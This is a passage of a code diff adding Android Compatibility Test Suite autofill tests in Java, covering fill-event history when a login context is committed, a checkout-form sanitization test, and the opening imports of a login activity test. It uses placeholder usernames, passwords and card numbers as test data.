+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+            assertFillEventForDatasetShown(events.get(2));
+        }
+    }
+
+    @Test
+    public void testContextCommitted_idlessDatasetSelected_datasetWithIdIgnored()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username1"));
+
+        final String expectedMessage = getWelcomeMessage("username1");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+
+            FillEventHistory.Event event2 = events.get(2);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).isEmpty();
+            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
+                    ID_PASSWORD);
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    @Test
+    public void testContextCommitted_idlessDatasetIgnored_datasetWithIdSelected()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username2", "password2");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset2");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username2"));
+
+        final String expectedMessage = getWelcomeMessage("username2");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+
+            final FillEventHistory.Event event2 = events.get(2);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).containsExactly("id2");
+            assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
+                    ID_PASSWORD);
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, no dataset was selected by the user,
+     * neither the user entered values that were present in these datasets.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_valuesNotManuallyEntered() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("dataset1", "dataset2");
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
+        // Enter values not present at the datasets
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            final Event event = events.get(1);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event.getChangedFields()).isEmpty();
+            assertThat(event.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, just one dataset was selected by the user,
+     * and the user changed the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_oneDatasetSelected() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Finish the context by login in
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+
+            assertFillEventForDatasetShown(events.get(2));
+            final FillEventHistory.Event event2 = events.get(3);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            final FillContext context = request.contexts.get(0);
+            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+            assertThat(changedFields).containsExactlyEntriesIn(
+                    ImmutableMap.of(usernameId, "id1", passwordId, "id1"));
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, both datasets were selected by the user,
+     * and the user changed the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_multipleDatasetsSelected() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "password")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+
+        // Autofill username
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Autofill password
+        mActivity.expectPasswordAutoFill("password");
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username"));
+
+        final String expectedMessage = getWelcomeMessage("username");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(6);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+
+            assertFillEventForDatasetShown(events.get(4));
+            final FillEventHistory.Event event3 = events.get(5);
+            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event3.getDatasetId()).isNull();
+            assertThat(event3.getClientState()).isNull();
+            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+            final Map<AutofillId, String> changedFields = event3.getChangedFields();
+            final AutofillId passwordId = findAutofillIdByResourceId(request.contexts.get(0),
+                    ID_PASSWORD);
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event3.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, both datasets were selected by the user,
+     * and the user didn't change the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_multipleDatasetsSelected_butNotChanged() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill(BACKDOOR_USERNAME);
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Autofill username
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Autofill password
+        mActivity.expectPasswordAutoFill("whatever");
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+        }
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(5);
+
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
+
+            final FillEventHistory.Event event3 = events.get(4);
+            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event3.getDatasetId()).isNull();
+            assertThat(event3.getClientState()).isNull();
+            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+            assertThat(event3.getChangedFields()).isEmpty();
+            assertThat(event3.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user selected the dataset, than changed
+     * the autofilled values, but then change the values again so they match what was provided by
+     * the service.
+     */
+    @Test
+    public void testContextCommitted_oneDatasetSelected_Changed_thenChangedBack()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username")
+                        .setField(ID_PASSWORD, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username", "username");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Change the fields to different values from0 datasets
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        // Then change back to dataset values
+        mActivity.onUsername((v) -> v.setText("username"));
+        mActivity.onPassword((v) -> v.setText("username"));
+
+        final String expectedMessage = getWelcomeMessage("username");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+
+            FillEventHistory.Event event4 = events.get(3);
+            assertThat(event4.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event4.getDatasetId()).isNull();
+            assertThat(event4.getClientState()).isNull();
+            assertThat(event4.getSelectedDatasetIds()).containsExactly("id1");
+            assertThat(event4.getIgnoredDatasetIds()).isEmpty();
+            assertThat(event4.getChangedFields()).isEmpty();
+            assertThat(event4.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user did not selected any dataset, but
+     * the user manually entered values that match what was provided by the service.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_butManuallyEntered()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "NotUsedPassword")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "NotUserUsername")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("dataset1", "dataset2");
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
+
+        // Enter values present at the datasets
+        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        mActivity.onPassword((v) -> v.setText("whatever"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            FillEventHistory.Event event = events.get(1);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getSelectedDatasetIds()).isEmpty();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event.getChangedFields()).isEmpty();
+            final FillContext context = request.contexts.get(0);
+            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+            final Map<AutofillId, Set<String>> manuallyEnteredFields =
+                    event.getManuallyEnteredField();
+            assertThat(manuallyEnteredFields).isNotNull();
+            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1");
+            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2");
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user did not selected any dataset, but
+     * the user manually entered values that match what was provided by the service on different
+     * datasets.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_butManuallyEntered_matchingMultipleDatasets()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "NotUsedPassword")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "NotUserUsername")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id3")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset3"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
+
+        // Enter values present at the datasets
+        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        mActivity.onPassword((v) -> v.setText("whatever"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+
+            final FillEventHistory.Event event = events.get(1);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getSelectedDatasetIds()).isEmpty();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2", "id3");
+            assertThat(event.getChangedFields()).isEmpty();
+            final FillContext context = request.contexts.get(0);
+            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+            final Map<AutofillId, Set<String>> manuallyEnteredFields =
+                    event.getManuallyEnteredField();
+            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1", "id3");
+            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2", "id3");
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/InitializedCheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/InitializedCheckoutActivityTest.java
new file mode 100644
index 0000000..4e23b52
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/InitializedCheckoutActivityTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_EXPIRATION;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_SAVE_CC;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_ADDRESS_HOME;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.assertListValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertToggleValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+
+import android.autofillservice.cts.activities.InitializedCheckoutActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.platform.test.annotations.AppModeFull;
+
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing non-TextField views with initial values set on XML.
+ */
+@AppModeFull(reason = "CheckoutActivityTest() is enough")
+public class InitializedCheckoutActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<InitializedCheckoutActivity> {
+
+    private InitializedCheckoutActivity mCheckoutActivity;
+
+    @Override
+    protected AutofillActivityTestRule<InitializedCheckoutActivity> getActivityRule() {
+        return new AutofillActivityTestRule<InitializedCheckoutActivity>(
+                InitializedCheckoutActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mCheckoutActivity = getActivity();
+            }
+        };
+
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mCheckoutActivity.onCcNumber((v) -> v.requestFocus());
+
+        // Assert sanitization: most everything should be available...
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_CC_NUMBER), "4815162342");
+        assertListValue(findNodeByResourceId(fillRequest.structure, ID_ADDRESS),
+                INDEX_ADDRESS_HOME);
+        assertToggleValue(findNodeByResourceId(fillRequest.structure, ID_SAVE_CC), true);
+
+        // ... except Spinner, whose initial value cannot be set by resources:
+        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
new file mode 100644
index 0000000..c59be27
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
@@ -0,0 +1,2948 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.activities.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.activities.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.FAIL;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_CANCEL_FILL;
+import static android.autofillservice.cts.testcore.Helper.ID_EMPTY;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.allowOverlays;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTextOnly;
+import static android.autofillservice.cts.testcore.Helper.assertValue;
+import static android.autofillservice.cts.testcore.Helper.assertViewAutofillState;
+import static android.autofillservice.cts.testcore.Helper.disallowOverlays;
+import static android.autofillservice.cts.testcore.Helper.dumpStructure;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.isAutofillWindowFullScreen;
+import static android.autofillservice.cts.testcore.Helper.setUserComplete;
